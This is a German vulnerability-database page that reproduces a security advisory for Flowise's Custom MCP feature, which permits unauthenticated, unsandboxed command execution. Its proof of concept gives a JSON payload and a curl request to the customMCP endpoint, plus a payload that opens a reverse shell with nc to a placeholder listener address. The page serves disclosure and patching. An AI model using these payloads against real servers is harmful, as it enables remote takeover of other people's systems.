Hoch

Flowise has unsandboxed remote code execution via Custom MCP

  • Veröffentlicht: 15.09.2025
  • Aktualisiert: 11.10.2026 10:22

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
bash
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

Pasted image 20250420132335

Impact

Remote code execution

Mitigation

  • Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
  • Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
  • Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket flowise >= 2.2.7-patch.1, < 3.0.6 3.0.6

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Schwäche (CWE)
CWE-78, CWE-862
Plattform
npm
Paket
flowise
Veröffentlicht
15.09.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-6933-jpx5-q87q - CC BY 4.0

Schwachstellenhistorie: flowise

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (114) im Archiv
Einträge insgesamt
114
Erste → letzte
04.2024 10.2026
Ohne Fix
16
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 28
  • Hoch 62
  • Mittel 24

Veröffentlichungen pro Jahr

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Schweregrad:
  1. Flowise has unsandboxed remote code execution via Custom MCP dieser Eintrag
    Hoch CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  2. Kritisch CVE-2026-69259 < 3.1.3 3.1.3
  3. Kritisch CVE-2026-69256 < 3.1.3 3.1.3
  4. Kritisch CVE-2026-69253 < 3.1.3 3.1.3
  5. Kritisch CVE-2026-69251 < 3.1.3 3.1.3
  6. Hoch · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Hoch CVE-2026-46443 < 3.1.2 3.1.2
  8. Hoch CVE-2026-56274 < 3.1.2 3.1.2
  9. Hoch · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. Hoch · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  11. Hoch CVE-2026-41274 < 3.1.0 3.1.0
  12. Hoch · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  13. Hoch · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  14. Hoch · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  15. Hoch · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  16. Hoch · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  17. Hoch · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  18. Kritisch · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  19. Kritisch · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
Mehr anzeigen (20) 61 von 90 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.